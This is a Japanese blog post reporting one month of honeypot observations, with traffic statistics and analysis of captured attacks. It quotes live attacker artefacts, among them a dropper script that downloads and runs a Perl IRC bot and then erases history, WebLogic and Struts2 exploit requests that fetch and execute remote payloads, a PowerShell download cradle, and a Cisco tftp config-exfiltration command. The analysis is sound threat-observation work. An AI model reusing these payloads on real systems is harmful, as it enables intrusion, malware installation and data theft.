Misc notes

~セキュリティに関する雑記~

ハニーポット観察記録 2018年3月

f:id:fatsheep:20171227121757j:plain:w630

だいぶ遅くなってしまいましたが、3月分の観測記録をまとめたので公開したいと思います。また4月分についても後程まとめて、公開したいと思います。(なお5月分はサーバを停止していましたので、いったんお休みです。6月から再開する予定です。)

今後はハニポのカスタマイズや、ほかのセキュリティに関する内容も書いていけたらと思っています。(ネタは何個か候補があるので、あとは書くのみ・・・)

それでは3月の観測記録についてです。

全体のアクセス状況

アクセス元(国)

まずは、ハニーポットへのアクセス元の国別ランキングです。

順位 アクセス元(国) 今月 前月 前月比 前月順位
1 Russia 1548706 3122438 50% 1
2 United States 777195 271081 287% 4
3 Brazil 185737 129037 144% 6
4 Vietnam 182766 39191 466% 16
5 Netherlands 174832 350739 50% 3
6 Canada 155447 157822 98% 5
7 Italy 149052 105323 142% 7
8 China 130058 99409 131% 8
9 United Kingdom 111611 45762 244% 13
10 France 77745 488897 16% 2

1位は継続して、ロシアからのアクセスでした。前月のランク外からランクインした国として、ベトナムとイギリスが入りました。この2国についてはどのプロトコルが増加したのか、後ほど記載します。

アクセスポート

全ての国からのアクセス

アクセスされたポートのトップ20です。

f:id:fatsheep:20180407124409p:plain

今月はアクセス数の推移が特徴的で、月の前半と後半で大きくアクセス数に違いがありました。アクセス数トップ10の国の中で、ブラジル、ベトナム、中国以外の国において、上記のような月の前後半でアクセス数に大きな差がありました。

アクセスポートランキングとしてはやはりリモートアクセス系のサービスへの攻撃が多い傾向です。

前回までの観察記録で登場しなかったポートとしては、5901/tcp、2022/tcpがありました。

またこちらは前月とのアクセスポートの比較になります。(上が前月(2月)、下が今月(3月)です。)

f:id:fatsheep:20180407131037p:plain

全体のアクセス数は前月と比較して6割~7割程度に減っていました。特にSSHのポートである22/tcp(T-Potでのシステムの表示上、2222/tcp)とVNCのポートである5900/tcpが半分程度に減少しておりました。

ベトナムからのアクセス

ベトナムからのポート別のアクセス数です。(上が前月(2月)、下が今月(3月)です。)

f:id:fatsheep:20180407130005p:plain

前月と比較して、22/tcp(T-Potでのシステムの表示上、2222/tcp)へのアクセスが急増していました。

イギリスからのアクセス

イギリスからのポート別のアクセス数です。(上が前月(2月)、下が今月(3月)です。)

f:id:fatsheep:20180407130724p:plain

前月と比較して、23/tcpと22/tcp(T-Potでのシステムの表示上、2223/tcp、2222/tcp)へのアクセスが急増していました。

SSHtelnet(COWRIE)

ログイン試行

SSHtelnetのログイン試行に使われたユーザ名とパスワードのタグクラウドになります。

f:id:fatsheep:20180421155608p:plain

今回もユーザ名、パスワードについてはよく使われるものがランクインしていました。前回までのものと比較して特に目新しいものはありませんでした。

配置されたファイル

配置されたファイルとしては以下のようなものがありました。

PerlIRCボットをダウンロード・実行するスクリプト

以下のようなスクリプトが配置されていました。

#!/bin/sh
cd /var/tmp
rm -rf .* *
crontab -r
wget http://***.***.***.***/f.txt
curl -O http://***.***.***.***/f.txt
perl f.txt
wget -q http://***.***.***.***/w.sh
curl -O http://***.***.***.***/w.sh
chmod a+x w.sh && sh w.sh
rm -rf * f* .*
history -rc

wgetしているtxtファイルはVirus Totalで調べたところ、PerlIRCボットスクリプトのようでした。またシェルスクリプトのほうはダウンローダのようで、こちらもPerlIRCボットスクリプトに関連がありそうでした。

ダウンロード・実行後は、ファイルをすべて削除し、コマンド履歴をすべて消去しようとしていることがわかります。

上記のようなPerlスクリプト以外にも、バイナリファイルとしてDDoSを行うファイルも多々配置されておりました。

マイニングツール

Virus Totalでマイニングツールとして判定されたバイナリもいくつか配置されておりました。以下のファイルはバイナリの1つで、stringsをかけた結果の一部になります。

Try "xmrminer" --help' for more information.
XMRMiner 1.2.7-dev
 built on Jul 14 2017 with GCC
Usage: xmrminer [OPTIONS]
Options:
  -o, --url=URL         URL of mining server
  -b, --backup-url=URL  URL of backup mining server
  -O, --userpass=U:P    username:password pair for mining server
  -u, --user=USERNAME   username for mining server
  -p, --pass=PASSWORD   password for mining server
  -t, --threads=N       number of miner threads
  -v, --av=N            algorithm variation, 0 auto select
  -k, --keepalive       send keepalived for prevent timeout (need pool support)
  -r, --retries=N       number of times to retry before switch to backup server (default: 5)
  -R, --retry-pause=N   time to pause between retries (default: 5)
      --cpu-affinity    set process affinity to CPU core(s), mask 0x3 for cores 0 and 1
      --no-color        disable colored output
  -B, --background      run the miner in the background
  -c, --config=FILE     load a JSON-format configuration file
      --max-cpu-usage=N maximum CPU usage for automatic threads mode (default 75)
      --safe            safe adjust threads and av settings for current CPU
      --nicehash        enable nicehash support
  -h, --help            display this help and exit
  -V, --version         output version information and exit

プログラムのUsageと思われる部分になります。上記の内容から仮想通貨であるXMRをマイニングするツールと推測できます。

http、https(Glastopf)

リクエスト集計

Glastopfに来たリクエストの集計です。

リクエスト内容 アクセス数
phpmyadminの管理画面へのアクセス 510
オープンプロキシを試みるアクセス 18
サーバステータス確認画面へのアクセス 12

やはり変わらずphpmyadminの管理画面へのアクセスが多く見られます。(ほとんどはルートパス(/)へのアクセスです。)

phpmyadminへのアクセスについて着目すると、以下のように短時間の間に複数のパスへのアクセスが多く見られます。

2018-03-28 02:59:33,259 GET /pmd/index.php
2018-03-28 02:59:34,065 GET /pma/index.php
2018-03-28 02:59:34,335 GET /PMA/index.php
2018-03-28 02:59:34,603 GET /PMA2/index.php
2018-03-28 02:59:34,870 GET /pmamy/index.php
2018-03-28 02:59:35,137 GET /pmamy2/index.php
2018-03-28 02:59:35,573 GET /mysql/index.php
2018-03-28 02:59:38,672 GET /mysql/index.php
2018-03-28 02:59:39,064 GET /admin/index.php
2018-03-28 02:59:42,856 GET /admin/index.php
2018-03-28 02:59:43,119 GET /db/index.php
2018-03-28 02:59:46,077 GET /db/index.php
2018-03-28 02:59:46,362 GET /dbadmin/index.php
2018-03-28 02:59:48,992 GET /dbadmin/index.php
2018-03-28 02:59:49,257 GET /web/phpMyAdmin/index.php
2018-03-28 02:59:52,079 GET /web/phpMyAdmin/index.php

上記については、おそらくスキャンツールのようなものを用いて探索しているのだと思います。

その他のアクセス

今までの観測ではあまり見られなかったアクセスについて、いくつかピックアップしてみてみたいと思います。

Weblogic Serverの脆弱性を突くアクセス

以下のPOSTリクエストが来ていました。

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Connection: Close
Content-Length: 1214
Content-Type: text/xml
Host: ***.***.***.***:80
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
  <array class="java.lang.String" length="3">
    <void index="0">
      <string>cmd.exe</string>
    </void>
    <void index="1">
      <string>/c</string>
    </void>
    <void index="2">
      <string>Start PowerShell.exe -NoP -NonI -EP ByPass -W Hidden -E JABPAFMAPQAo (snip) wACcAKQA7AA==</string>
    </void>
  </array>
    <void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

上記のリクエストはWeblogic Serverの脆弱性CVE-2017-10271を突くものですが、7001/tcpではなく80/tcpへアクセスが来ておりました。

POSTのデータ部を見るとPowerShellスクリプトを実行させようとしており、Base64エンコードされている文字列をデコードすると以下のようになります。

$OS=(Get-WmiObject Win32_OperatingSystem).Caption;$WC=New-Object Net.WebClient;
$WC.Headers.Add('User-Agent',"PowerShell/WL $OS");
IEX $WC.DownloadString('http://***.***.***.***/images/test/DL.php');

このスクリプトでは外部からさらにスクリプトを取得し、実行させようとするもののようです。残念ながら実際に何が実行されるかについては追えませんでした。

DB、ファイル共有(Dionaea)

DB系のポート、ファイル共有のポートのアクセスを検知するDionaeaの解析結果です。

ログイン試行

ファイル共有のログイン試行に使われたユーザ名とパスワードのタグクラウドになります。

f:id:fatsheep:20180531003013p:plain

こちらもよくつかわれるユーザ名とパスワードが多くありました。

配置されたファイル

今月は全部で450個程度のファイルが配置されていました。その内訳は以下の通りです。

種別
WannaCry 405
ダウンローダ 27
その他 16

配置されたファイルはやはりWannaCryが多い傾向でした。これは感染端末からの横展開による感染拡大の通信と思われます。

その他のファイルとしては、ランサムウェアDoSツール、またハニーポットではあまり見られないバンキングマルウェアであるRamnitなどが配置されていました。

その他のポート(honeytrap)

上記以外のポートでhoneytrapが検知したその他のアクセスで気になったものを調べました。

Struts2脆弱性を突く攻撃

こちらはStruts2脆弱性をついて外部からファイルをダウンロード・実行させようとしているもののようです。

下記のログでは8001/tcpへのアクセスですが、同じようなリクエストがさまざまなポート宛てに来ていました。

GET /struts2-rest-showcase/orders.xhtml HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(
#cmd='cmd /c del C:/Windows/temp/searsvc.vbs&echo Set Post = CreateObject("Msxml2.XMLHTTP") >>C:/Windows/temp/searsvc.vbs&echo Set Shell = CreateObject("Wscript.Shell") >>C:/Windows/temp/searsvc.vbs&echo
 Post.Open "GET","http://***.***.***.***/esentutl.exe",0 >>C:/Windows/temp/searsvc.vbs&echo Post.Send() >>C:/Windows/temp/searsvc.vbs&echo Set aGet = CreateObject("ADODB.Stream") >>C:/Windows/temp/searsv
c.vbs&echo aGet.Mode = 3 >>C:/Windows/temp/searsvc.vbs&echo aGet.Type = 1 >>C:/Windows/temp/searsvc.vbs&echo aGet.Open() >>C:/Windows/temp/searsvc.vbs&echo aGet.Write(Post.responseBody) >>C:/Windows/temp
/searsvc.vbs&echo aGet.SaveToFile "C:/Windows/temp/searsvc.exe",2 >>C:/Windows/temp/searsvc.vbs&echo wscript.sleep 10000>>C:/Windows/temp/searsvc.vbs&echo Shell.Run ("C:/Windows/temp/searsvc.exe")>>C:/Wi
ndows/temp/searsvc.vbs&C:/Windows/temp/searsvc.vbs').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=n
ew java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@
copy(#process.getInputStream(),#ros)).(#ros.flush())}
Accept: text/html, application/xhtml+xml, */*
Accept-Encoding: gbk, GB2312
Accept-Language: zh-cn
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: ***.***.***.***:8001

実行させようとしているコマンドを見ると、Windowsのコマンドが多く含まれていますが、一部/bin/bashなどもあり、Linuxにも対応させようとしているのでしょうか。

またダウンロードしようとしているファイルについては、調査時点では追うことができませんでした。

Cisco Smart Client Installの脆弱性を突く攻撃

Cisco Smart Client Installの脆弱性をついて、設定情報をtftp経由でアップロードさせようとする攻撃です。

copy flash:/config.text tftp://***.***.***.***/***.***.***.***.conf

以下、参考です。
blog.nicter.jp


最後に

最近知ったのですが、T-Potで検知した情報はコミュニティへ共有する仕組みになっています。(以下の公式Githubのページに記載されています。)

github.com

ここに書かれているURL(Sicherheitstacho)を開くと、世界中で検知した攻撃がヴィジュアル的にみることができ、Kibanaのダッシュボードとは違った見方ができおもしろいと思ったので、ここで紹介します。

f:id:fatsheep:20180530233359p:plain

ソース(国)、あて先(国)、プロトコル、通信内容の、簡易的な情報にはなりますが、上記ページで確認することができるので、1度見てみてはと思います。(なお上記Githubのページにあるように、共有をやめることも可能です。)